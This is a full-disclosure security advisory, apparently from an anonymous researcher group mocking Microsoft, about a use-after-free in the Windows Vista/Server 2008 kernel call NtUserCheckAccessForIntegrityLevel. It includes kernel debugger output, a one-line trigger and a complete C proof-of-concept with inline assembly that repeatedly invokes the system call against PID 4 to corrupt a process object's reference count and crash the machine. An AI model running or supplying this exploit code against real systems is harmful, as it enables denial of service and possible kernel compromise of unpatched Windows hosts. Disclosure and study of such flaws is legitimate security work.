Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use- after-free Vulnerability Intro: Due to hostility toward security researchers, the most recent example being of Tavis Ormandy, a number of us from the industry (and some not from the industry) have come together to form MSRC: the Microsoft-Spurned Researcher Collective. MSRC will fully disclose vulnerability information discovered in our free time, free from retaliation against us or any inferred employer. Vulnerability report: win32k!NtUserCheckAccessForIntegrityLevel in Vista/Server 2008 calls LockProcessByClientId() on the specified ClientID. When this call fails, the refcount will be first decremented by nt!ObfDereferenceObject and then by win32k!NtUserCheckAccessForIntegrityLevel again, resulting in a refcount leak. The refcount leak can be abused to have an in-use process object deleted. (use-after-free) Some debugging info: kd> vertarget Windows Server 2008 Kernel Version 6002 (SP2) kd> LM m win32k start end module name 8d460000 8d663000 win32k kd> BA e 1 8d58d710 "dt nt!_OBJECT_HEADER @edx PointerCount; g" kd> g +0x000 PointerCount : 145 +0x000 PointerCount : 144 +0x000 PointerCount : 143 ... +0x000 PointerCount : 3 +0x000 PointerCount : 2 +0x000 PointerCount : 1 *** Fatal System Error: 0x00000018 kd> kc nt!KeBugCheck2 nt!ObfDereferenceObject win32k!NtUserCheckAccessForIntegrityLevel nt!KiFastCallEntry The vulnerability can be triggered in one line below, where 4 is just the PID of PsInitialSystemProcess. while (1) NtUserCheckAccessForIntegrityLevel(4, 0, NULL); Since there's no exported stub for this system call, you'll have to craft the call manually. sysenter is your friend. http://j00ru.vexillium.org/win32k_syscalls/ POC: #include <windows.h> #define LEAK_ME 0x1151 int main(int argc, char *argv[]) { /* get us some win32k! */ LoadLibrary("user32"); while (1) { __asm { mov eax, LEAK_ME push 0 push 0 push 4 lea edx, dword ptr [esp] int 0x2e } } } Workaround: Microsoft can workaround these advisories by locating the following registry key: HKCU\Microsoft\Windows\CurrentVersion\Security and changing the "OurJob" boolean value to FALSE. We at MSRC would like to help you, the users, work around this issue, but PatchGuard will not allow us ;-( Current MSRC Members (alphabetical order!): XX XXXXXX XXXX XXXXXXXX XXXXX XXX XXXXXXX XXXXXXX XXXXXX XXXXXXXXX XXXXX XXXXXXXX If you wish to responsibly disclose a vulnerability through full disclosure or want to join our team, fire off an email to: msrc- disclosure () hushmail com We do have a vetting process by the way, for any Microsoft employees trying to join ;-)